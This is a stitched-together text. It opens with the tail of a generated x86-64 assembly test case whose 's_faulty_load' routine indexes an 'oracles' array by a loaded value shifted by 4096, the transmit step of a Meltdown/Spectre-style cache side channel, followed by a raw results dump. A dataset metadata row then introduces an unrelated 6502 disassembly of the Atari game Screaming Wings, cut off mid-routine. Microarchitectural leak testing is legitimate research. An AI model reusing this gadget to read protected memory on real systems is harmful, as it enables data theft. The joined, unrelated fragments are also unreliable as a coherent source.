lea addresses_WC_ht+0x14d06, %rdi
nop
nop
nop
nop
nop
add %r12, %r12
mov $18, %rcx
rep movsb
cmp $176, %r10
lea addresses_D_ht+0x13706, %rsi
lea addresses_UC_ht+0x1211a, %rdi
nop
nop
dec %r10
mov $91, %rcx
rep movsb
nop
nop
nop
nop
nop
add $22288, %r14
lea addresses_D_ht+0x13306, %rsi
lea addresses_D_ht+0x1e46, %rdi
nop
nop
nop
inc %r14
mov $16, %rcx
rep movsq
nop
nop
nop
nop
add %r12, %r12
lea addresses_WC_ht+0x17446, %rsi
nop
xor $27699, %r10
vmovups (%rsi), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rdi
inc %r13
lea addresses_A_ht+0x3506, %rdi
clflush (%rdi)
nop
nop
sub %r13, %r13
movb (%rdi), %r14b
nop
nop
nop
nop
cmp $1194, %rcx
lea addresses_WT_ht+0x508a, %r13
nop
xor %r10, %r10
movl $0x61626364, (%r13)
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_normal_ht+0xf106, %rcx
nop
nop
nop
nop
cmp $17573, %r12
movw $0x6162, (%rcx)
nop
nop
nop
nop
nop
inc %r10
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %rbp
push %rbx
push %rdi
// Faulty Load
lea addresses_PSE+0x15706, %r15
nop
nop
inc %rdi
mov (%r15), %bp
lea oracles, %rdi
and $0xff, %rbp
shlq $12, %rbp
mov (%rdi,%rbp,1), %rbp
pop %rdi
pop %rbx
pop %rbp
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 35.078818 | 2,999 | 0.660581 |
601feb9a812325f1f2c6b1c64d6eacef44b4245c | 391,380 | asm | Assembly | patches/screaming_wings/disasm/patched_screaming_wings_block_4.asm | fcatrin/a8tools | 2792cfbabc9e3fd369550b810f631d62e03c8b90 | [
"MIT"
] | 3 | 2020-07-02T15:11:23.000Z | 2020-07-03T19:59:08.000Z | patches/screaming_wings/disasm/patched_screaming_wings_block_4.asm | fcatrin/a8tools | 2792cfbabc9e3fd369550b810f631d62e03c8b90 | [
"MIT"
] | null | null | null | patches/screaming_wings/disasm/patched_screaming_wings_block_4.asm | fcatrin/a8tools | 2792cfbabc9e3fd369550b810f631d62e03c8b90 | [
"MIT"
] | null | null | null |
; BLOCK 4 patched_screaming_wings.xex
org $1500
L_1500 lda ENEMY_MOV_TYPE
bne L_153C
lda #$28
sta ENEMY_Y
sta $0625
lda $0683
bmi L_1516
lda #$D0
bne L_1518
L_1516 lda #$28
L_1518 sta ENEMY_X
sta HPOSP2
sta HPOSP3
lda #$00
sta $06AE
sta BIGPLANE_FIRE_TYPE+3
lda #$0F
sta PCOLR3
lda #$42
sta PCOLR2
lda #$0E
sta L_542E+1
inc ENEMY_MOV_TYPE
rts
L_153C lda $0625
bne L_155B
lda ENEMY_X+7
bne L_1579
lda $0624
beq L_154C
rts
L_154C sta ENEMY_MOV_TYPE
sta ENEMY_TYPE
sta ENEMY_X+6
lda #$11
sta L_542E+1
rts
L_155B lda $06AE
cmp #$18
bcc L_156E
lda #$00
sta $0625
sta ENEMY_X+2
inc ENEMY_X+7
rts
L_156E inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$02
bcs L_157B
rts
L_1579 bne L_15E4
L_157B lda #$00
sta ENEMY_MOV_TYPE+1
inc $06C9
lda $06C9
cmp #$02
bcc L_15A0
lda #$00
sta $06C9
lda BIGPLANE_FIRE_TYPE
beq L_159B
lda #$00
sta BIGPLANE_FIRE_TYPE
beq L_15A0
L_159B lda #$01
L_159D sta BIGPLANE_FIRE_TYPE
L_15A0 lda ENEMY_X
cmp PLANE_X
beq L_15B4
bcc L_15B1
dec ENEMY_X
lda #$00
beq L_15B4
L_15B1 inc ENEMY_X
L_15B4 lda ENEMY_X
sta HPOSP2
sta HPOSP3
lda ENEMY_MOV_TYPE
cmp #$02
bne L_15D5
dec ENEMY_Y
lda ENEMY_Y
cmp #$30
bcs L_15E4
lda #$03
sta ENEMY_MOV_TYPE
bne L_15E4
L_15D5 inc ENEMY_Y
lda ENEMY_Y
cmp #$60
bcc L_15E4
lda #$02
sta ENEMY_MOV_TYPE
L_15E4 lda $0625
bne L_15FC
ldx #$00
ldy ENEMY_Y
txa
L_15EF sta L_3605+7,y
sta L_370C,y
iny
inx
cpx #$06
bne L_15EF
rts
L_15FC ldx ENEMY_Y
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_1619
L_1606 lda L_2EFC+4,y
sta PMGFX0+3,x
lda L_2F1C+6,y
sta PMGFX1,x
inx
iny
cpy #$11
bne L_1606
rts
L_1619 lda L_2EFC+4,y
sta PMGFX0+3,x
lda L_2F0C+5,y
sta PMGFX1,x
inx
iny
cpy #$11
bne L_1619
rts
.word LNFLG
.word LNFLG
L_1630 lda BIGPLANE_FIRE_TYPE+3
bne L_1657
lda #$28
sta ENEMY_MOV_TYPE+7
sta $0624
lda M2PF
bmi L_1646
lda #$D0
bne L_1648
L_1646 lda #$28
L_1648 sta BIGPLANE_FIRE_TYPE+1
sta BIGPLANE_FIRE_TYPE+2
lda #$00
sta $06C5
inc BIGPLANE_FIRE_TYPE+3
rts
L_1657 lda $0624
beq L_16AA
lda $06C5
bne L_1671
dec BIGPLANE_FIRE_TYPE+1
dec BIGPLANE_FIRE_TYPE+2
lda BIGPLANE_FIRE_TYPE+1
cmp #$30
bcs L_1683
inc $06C5
L_1671 inc BIGPLANE_FIRE_TYPE+1
inc BIGPLANE_FIRE_TYPE+2
lda BIGPLANE_FIRE_TYPE+2
cmp #$C0
bcc L_1683
lda #$00
sta $06C5
L_1683 lda BIGPLANE_FIRE_TYPE+3
cmp #$02
bne L_169B
dec ENEMY_MOV_TYPE+7
lda ENEMY_MOV_TYPE+7
cmp #$30
bcs L_16AA
lda #$03
sta BIGPLANE_FIRE_TYPE+3
bne L_16AA
L_169B inc ENEMY_MOV_TYPE+7
lda ENEMY_MOV_TYPE+7
cmp #$60
bcc L_16AA
lda #$02
sta BIGPLANE_FIRE_TYPE+3
L_16AA lda $0624
L_16AD bne L_16C2
ldx #$00
ldy ENEMY_MOV_TYPE+7
txa
L_16B5 sta L_340C,y
sta L_350C,y
iny
inx
cpx #$06
bne L_16B5
rts
L_16C2 ldx ENEMY_MOV_TYPE+7
ldy #$00
lda BIGPLANE_FIRE_TYPE
bne L_16DF
L_16CC lda L_2F1C+6,y
sta L_33FE+2,x
lda L_2EFC+4,y
sta L_3500,x
inx
iny
cpy #$11
bne L_16CC
rts
L_16DF lda L_2F0C+5,y
sta L_33FE+2,x
lda L_2EFC+4,y
sta L_3500,x
inx
iny
cpy #$11
bne L_16DF
rts
.word LNFLG
.word LNFLG
.word LNFLG
.word LNFLG
.word LNFLG
.word LNFLG
.word LNFLG
L_1700 lda ENEMY_MOV_TYPE
bne L_173B
lda #$50
sta ENEMY_MOV_TYPE+7
sta $0624
lda #$00
sta HPOSP2
sta HPOSP3
lda #$C0
sta BIGPLANE_FIRE_TYPE+1
sta BIGPLANE_FIRE_TYPE+2
lda #$94
sta PCOLR1
lda #$0F
sta PCOLR0
lda #$00
sta BIGPLANE_FIRE_TYPE
sta ENEMY_MOV_TYPE+1
sta BIGPLANE_FIRE_TYPE+3
lda #$0E
sta L_542E+1
inc ENEMY_MOV_TYPE
rts
L_173B inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$03
bcc L_1759
lda #$00
sta ENEMY_MOV_TYPE+1
lda BIGPLANE_FIRE_TYPE
bne L_1754
inc BIGPLANE_FIRE_TYPE
bpl L_1759
L_1754 lda #$00
sta BIGPLANE_FIRE_TYPE
L_1759 ldy ENEMY_MOV_TYPE+7
ldx #$00
lda ENEMY_MOV_TYPE
cmp #$02
bcc L_1766
rts
L_1766 lda BIGPLANE_FIRE_TYPE+1
cmp #$28
bcs L_1783
lda #$00
sta $0624
txa
L_1773 sta L_33FE+2,y
sta L_3500,y
iny
inx
cpx #$0D
bne L_1773
inc ENEMY_MOV_TYPE
rts
L_1783 dec BIGPLANE_FIRE_TYPE+1
dec BIGPLANE_FIRE_TYPE+2
lda $0624
bne L_178F
rts
L_178F lda BIGPLANE_FIRE_TYPE
bne L_17A7
L_1794 lda L_3E0A+6,x
sta L_33FE+2,y
lda L_3E1A+3,x
sta L_3500,y
iny
inx
cpx #$0D
bne L_1794
rts
L_17A7 lda L_3E0A+6,x
sta L_33FE+2,y
lda L_3E2A,x
sta L_3500,y
iny
inx
cpx #$0D
bne L_17A7
rts
brk
cpx #$12
beq L_17C0
rts
L_17C0 inc $06BB
rts
dec $06BC
lda $06BC
sta AUDC3
cmp #$E0
beq L_17D2
rts
L_17D2 lda #$00
sta $06BB
rts
.byte $40, $3C, $40, $48, $51, $48, $40, $3C
.byte $40, $48, $40, $3C, $35, $3C, $40, $48
.byte $51, $48, $51, $48, $00, $00, $00, $00
.byte $00, $00, $D2
lda L_19AA,y
bne L_1800
ldy #$00
sty $0673
lda L_19AA,y
L_1800 ldx $06BF
cpx #$00
bne L_181D
lda $0658
sta $06C1
stx $0658
stx AUDC1
stx AUDC2
stx $06CE
inc $06BF
rts
L_181D inc $06C0
lda $06C0
cmp #$09
bcs L_1828
rts
L_1828 lda #$00
sta $06C0
sta AUDC3
cpx #$01
bne L_1851
lda #$EF
sta $06CD
sta AUDC4
ldx $06CE
lda L_186E,x
sta AUDF4
inc $06CE
cpx #$11
bcs L_184D
rts
L_184D inc $06BF
rts
L_1851 cpx #$02
beq L_1856
rts
L_1856 dec $06CD
lda $06CD
sta AUDC4
cmp #$E0
bcc L_1864
rts
L_1864 inc $06BF
lda $06C1
sta $0658
rts
L_186E rts
adc L_606B+1,y
rts
jmp (L_6C79)
rts
adc L_6C79,y
rts
rts
jmp (L_6C79)
rts
L_1880 ldx $06BB
bne L_1886
rts
L_1886 inc $06BE
lda $06BE
cmp #$03
bcs L_1891
rts
L_1891 lda #$00
L_1893 sta $06BE
cpx #$01
bne L_18AB
lda #$EF
sta $06BC
sta AUDC3
lda #$00
sta $06BD
inc $06BB
rts
L_18AB cpx #$02
bne L_18C4
ldx $06BD
lda L_18D8,x
sta AUDF3
inc $06BD
cpx #$12
beq L_18C0
rts
L_18C0 inc $06BB
rts
L_18C4 dec $06BC
lda $06BC
sta AUDC3
cmp #$E0
beq L_18D2
rts
L_18D2 lda #$00
sta $06BB
rts
L_18D8 rti
.byte $3C, $40, $48, $51, $48, $40, $3C, $40
.byte $48, $40, $3C, $35, $3C, $40, $48, $51
.byte $48, $51, $48, $00, $00, $00, $00, $00
.byte $00, $D2
lda L_19AA,y
bne L_1900
ldy #$00
sty $0673
lda L_19AA,y
L_1900 lda #$00
sta $0670
sta $0674
sta $0672
sta $0673
sta $0675
lda #$07
sta $0671
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00
L_1920 lda $0658
bne L_1926
rts
L_1926 dec $0670
bne L_1939
inc $0674
lda $0674
cmp #$10
bcc L_1939
jsr L_1900
rts
L_1939 lda $0670
and #$07
sta $0675
ldx $0674
lda L_198A,x
ora $0675
sta AUDC1
lda $0675
ora #$A0
sta AUDC2
lda $0670
and $0671
bne L_1989
ldx $0672
ldy $0673
lda L_199A,x
bne L_1970
ldx #$00
stx $0672
lda L_199A,x
L_1970 sta AUDF1
lda L_19AA,y
bne L_1980
ldy #$00
sty $0673
lda L_19AA,y
L_1980 sta AUDF2
inc $0672
inc $0673
L_1989 rts
L_198A .byte $9E, $9E, $9E, $9F, $DF, $DE, $DF, $9F
.byte $9E, $9E, $9F, $DF, $9F, $9E, $9E, $9F
L_199A .byte $2A, $28, $2A, $28, $1F, $2A, $01, $2A
.byte $28, $2A, $35, $2F, $00, $00, $00, $00
L_19AA .byte $40, $01, $80, $01, $40, $01, $90, $01
.byte $40, $01, $80, $01, $40, $01, $90, $01
.byte $40, $01, $80, $01, $40, $01, $90, $01
L_19C2 .byte $40, $01, $80, $01, $40, $01, $90, $01
.byte $40, $2F, $80, $23, $40, $28, $90, $35
.byte $40, $2F, $80, $23, $40, $28, $90, $35
.byte $40, $23, $80, $2F, $40, $35, $90, $28
.byte $40, $2F, $80, $2F, $40, $35, $90, $35
.byte $40, $35, $80, $2A, $40, $2F, $90, $23
.byte $40, $1F, $80, $28, $40, $23, $90, $2F
.byte $40, $2F, $80, $1F, $40, $1F, $90, $28
.byte $40, $1F, $80, $2F, $40, $23, $90, $2F
.byte $00, $40, $23, $90, $2F, $40, $2F, $80
.byte $1F, $40, $1F, $90, $28, $40, $1F, $80
L_1A1A .byte $2F, $40, $23, $90, $2F, $00, $6F
sta L_975D+3,x
inx
cpx #$08
bne L_1A1A+4
rts
lda #$00
sta $0641
ldx #$00
lda L_6F91+4,x
sta L_34AC+1,x
asl PTABW
.byte $FF
beq L_1A44
lda ENEMY_TYPE
bne L_1A44
jsr L_5E5F+1
L_1A44 lda ENEMY_TYPE
cmp #$01
bne L_1A52
jsr L_47FE+2
jsr L_47FE+2
rts
L_1A52 cmp #$02
bne L_1A5A
jsr L_574F+1
rts
L_1A5A cmp #$03
bne L_1A65
jsr L_6360
jsr L_6500
rts
L_1A65 cmp #$04
bne L_1A70
jsr L_6360
jsr L_61BF+1
rts
L_1A70 cmp #$05
bne L_1A78
jsr L_5C40
rts
L_1A78 cmp #$06
bne L_1A80
jsr L_1F1F+1
rts
L_1A80 cmp #$07
bne L_1A88
jsr L_1DBF+1
rts
L_1A88 cmp #$08
bne L_1A90
jsr L_47FE+2
rts
L_1A90 cmp #$FF
bne L_1A98
jsr L_6680
rts
L_1A98 .byte $60, $00, $20, $20, $4C, $44, $41, $20
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_1B00 lda #$EF
sta AUDC4
ldx $066C
lda $066B
bne L_1B15
dex
bmi L_1B16
inc $066B
bne L_1B16
L_1B15 inx
L_1B16 stx AUDF4
stx $066C
lda PLANE_X+5
cmp #$01
bpl L_1B4C
lda #$01
sta $060E
lda PLANE_X+2
cmp #$10
bcc L_1B36
dec PLANE_X+2
jsr L_4B80
rts
L_1B36 inc PLANE_X+5
lda #$00
sta $066B
lda #$B0
sta AUDF4
sta $066C
lda #$EC
sta AUDC4
rts
L_1B4C ldx #$00
ldy PLANE_X+2
inc PLANE_X+5
lda PLANE_X+5
cmp #$08
bcs L_1B6B
L_1B5B lda L_3C4A+4,x
sta L_3470,y
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_1B5B
rts
L_1B6B cmp #$10
bcs L_1B7F
L_1B6F lda L_3C5A+1,x
sta L_3470,y
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_1B6F
rts
L_1B7F cmp #$18
bcs L_1B93
L_1B83 lda L_3C62+6,x
sta L_3470,y
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_1B83
rts
L_1B93 cmp #$20
bcs L_1BA7
L_1B97 lda L_3C72+3,x
sta L_3470,y
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_1B97
rts
L_1BA7 cmp #$48
bcs L_1BBE
inc PLANE_X+2
L_1BAE lda L_3C82,x
sta L_3470,y
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_1BAE
rts
L_1BBE cmp #$50
bcs L_1BD2
L_1BC2 lda L_3C8A+5,x
sta L_3470,y
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_1BC2
rts
L_1BD2 cmp #$58
bcs L_1BE6
L_1BD6 lda L_3C9A+2,x
sta L_3470,y
sta L_356D+3,y
iny
inx
cpx #$0D
bne L_1BD6
rts
L_1BE6 lda #$00
sta PLANE_X+4
sta AUDC4
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $9B, $52, $17, $10, $20, $20
.byte $42
L_1C00 lda $06BB
bne L_1C3F
lda $06BF
bne L_1C3F
lda $0665
bne L_1C1F
lda #$B0
sta AUDF3
sta $0666
lda #$E3
sta AUDC3
sta $0665
L_1C1F ldx $0666
lda $0683
bmi L_1C34
inx
bmi L_1C39
L_1C2A lda #$00
sta AUDC3
sta $0665
beq L_1C3F
L_1C34 dex
bmi L_1C39
bpl L_1C2A
L_1C39 stx $0666
stx AUDF3
L_1C3F lda $0634
cmp #$FF
beq L_1C4E
lda ENEMY_TYPE
bne L_1C4E
jsr L_5E38
L_1C4E lda ENEMY_TYPE
cmp #$01
bne L_1C5C
jsr L_47FE+2
jsr L_47FE+2
rts
L_1C5C cmp #$02
bne L_1C64
jsr L_574F+1
rts
L_1C64 cmp #$03
bne L_1C7A
lda $06C2
bne L_1C73
jsr L_6360
jmp L_1C76
L_1C73 jsr L_1700
L_1C76 jsr L_6500
rts
L_1C7A cmp #$04
bne L_1C90
lda $06C2
bne L_1C89
jsr L_6360
jmp L_1C8C
L_1C89 jsr L_1700
L_1C8C jsr L_61BF+1
rts
L_1C90 cmp #$05
bne L_1CA0
lda STAGE_NO
beq L_1C9C
jsr L_5C40
L_1C9C jsr L_5C40
rts
L_1CA0 cmp #$06
bne L_1CA8
jsr L_1F1F+1
rts
L_1CA8 cmp #$07
bne L_1CB0
jsr L_1DBF+1
rts
L_1CB0 cmp #$08
bne L_1CB8
jsr L_1500
rts
L_1CB8 cmp #$09
bne L_1CC3
jsr L_1500
jsr L_1630
rts
L_1CC3 cmp #$0A
bne L_1CCB
jsr L_6AFE+2
rts
L_1CCB cmp #$0B
bne L_1CD3
jsr BIGPLANE_CHECK2
rts
L_1CD3 cmp #$FF
bne L_1CDB
jsr L_6680
rts
L_1CDB rts
asl STARP+1
.byte $02
sta B0_ICBAL,x
lda #$19
sta B0_ICBAH,x
lda #$06
sta B0_ICBLL,x
lda #$00
sta B0_ICBLH,x
bit L_159D+1
bpl L_1D05
lda #$04
sta B0_ICBLL,x
lda #$C3
sta B0_ICBAL,x
lda #$19
sta B0_ICBAH,x
L_1D05 jsr L_31E4+5
ldx #$10
lda #$F9
sta B0_ICBLL,x
lda #$13
sta B0_ICBLH,x
inc B0_ICBLL,x
bne L_1D1C
inc B0_ICBLH,x
L_1D1C lda L_19C2+1
sta B0_ICBAL,x
lda L_19C2+2
sta B0_ICBAH,x
jmp L_1893
.byte $53
eor (COLCRS+1,x)
eor ICSPRZ+1
L_1D30 ldy ENEMY_Y
cpy #$B0
bcc L_1D61
ldx #$00
txa
L_1D3A sta PMGFX0+3,y
sta PMGFX1,y
iny
inx
cpx #$10
bne L_1D3A
lda #$00
sta ENEMY_TYPE
sta ENEMY_MOV_TYPE
lda #$11
sta L_542E+1
inc $06CC
lda $06CC
cmp #$05
bcs L_1D60
dec $06AF
L_1D60 rts
L_1D61 lda PLANE_X
cmp ENEMY_X
beq L_1D75
bcs L_1D72
dec ENEMY_X
lda #$01
bne L_1D75
L_1D72 inc ENEMY_X
L_1D75 lda ENEMY_X
sta HPOSP2
sta HPOSP3
lda $0625
bne L_1D84
rts
L_1D84 ldx #$00
lda BIGPLANE_FIRE_TYPE
bne L_1D9E
L_1D8B lda L_2EFC+3,x
sta PMGFX0+3,y
lda L_2F0C+4,x
sta PMGFX1,y
iny
inx
cpx #$10
bne L_1D8B
rts
L_1D9E lda L_2FBC+4,x
sta PMGFX0+3,y
lda #$00
sta PMGFX1,y
iny
inx
cpx #$10
bne L_1D9E
rts
.byte $00, $00, $99, $00, $37, $C8, $E8, $E0
.byte $10, $D0, $EF, $60, $00, $00, $36
L_1DBF lda #$AD
asl TRAMSZ,x
bne L_1DDD
lda #$B0
sta ENEMY_Y
lda #$20
sta ENEMY_X
lda #$0C
sta L_542E+1
lda #$00
sta $0669
inc ENEMY_MOV_TYPE
rts
L_1DDD cmp #$02
bne L_1DF2
dec ENEMY_Y
ldy ENEMY_Y
cpy #$90
bcs L_1E01
lda #$01
sta ENEMY_MOV_TYPE
bne L_1E01
L_1DF2 inc ENEMY_Y
ldy ENEMY_Y
cpy #$B8
bcc L_1E01
lda #$02
sta ENEMY_MOV_TYPE
L_1E01 inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$03
bcc L_1E1F
lda #$00
sta ENEMY_MOV_TYPE+1
inc BIGPLANE_FIRE_TYPE
lda BIGPLANE_FIRE_TYPE
cmp #$03
bmi L_1E1F
lda #$01
sta BIGPLANE_FIRE_TYPE
L_1E1F lda #$04
sta $0668
lda $0669
beq L_1E2B
bne L_1E9F
L_1E2B inc ENEMY_X
lda ENEMY_X
cmp #$D0
beq L_1E3D
sec
sbc #$30
cmp PLANE_X
bne L_1E4D
L_1E3D ldx #$00
txa
L_1E40 sta PMGFX0+3,x
sta PMGFX1,x
inx
bne L_1E40
inc $0669
rts
L_1E4D lda ENEMY_X
sta HPOSP2
sta HPOSP3
lda BIGPLANE_FIRE_TYPE
cmp #$02
beq L_1E7E
L_1E5D ldx #$0E
L_1E5F lda L_2F54+6,x
sta PMGFX0+3,y
lda L_2F64+5,x
sta PMGFX1,y
dey
dex
cpx #$FF
bne L_1E5F
dey
dey
dey
dey
dec $0668
lda $0668
bne L_1E5D
rts
L_1E7E ldx #$0E
L_1E80 lda L_2F54+6,x
sta PMGFX0+3,y
lda L_2F74+4,x
sta PMGFX1,y
dey
dex
cpx #$FF
bne L_1E80
dey
dey
dey
dey
dec $0668
lda $0668
bne L_1E7E
rts
L_1E9F dec ENEMY_X
lda ENEMY_X
cmp #$20
bcs L_1EC1
ldx #$00
txa
L_1EAC sta PMGFX0+3,x
sta PMGFX1,x
inx
bne L_1EAC
sta ENEMY_TYPE
sta ENEMY_MOV_TYPE
lda #$11
sta L_542E+1
rts
L_1EC1 sta HPOSP2
sta HPOSP3
lda BIGPLANE_FIRE_TYPE
cmp #$02
beq L_1EEF
L_1ECE ldx #$0E
L_1ED0 lda L_2F84+3,x
sta PMGFX0+3,y
lda L_2F94+2,x
sta PMGFX1,y
dey
dex
cpx #$FF
bne L_1ED0
dey
dey
dey
dey
dec $0668
lda $0668
bne L_1ECE
rts
L_1EEF ldx #$0E
L_1EF1 lda L_2F84+3,x
sta PMGFX0+3,y
lda L_2FA4+1,x
sta PMGFX1,y
dey
dex
cpx #$FF
L_1F01 bne L_1EF1
dey
dey
dey
dey
dec $0668
lda $0668
bne L_1EEF
rts
.word LNFLG
bne L_1F01+1
rts
cmp #$03
bcs L_1F3A
inc ENEMY_X
inc ENEMY_MOV_TYPE+7
L_1F1F stx L_16AD
asl $D0
.byte $13
lda #$B0
sta ENEMY_Y
lda #$D8
sta ENEMY_X
lda #$0A
sta L_542E+1
inc ENEMY_MOV_TYPE
rts
cmp #$02
L_1F3A bne L_1F4D
dec ENEMY_Y
ldy ENEMY_Y
cpy #$9C
bcs L_1F5C
lda #$01
sta ENEMY_MOV_TYPE
bne L_1F5C
L_1F4D inc ENEMY_Y
ldy ENEMY_Y
cpy #$B4
bcc L_1F5C
lda #$02
sta ENEMY_MOV_TYPE
L_1F5C inc ENEMY_MOV_TYPE+1
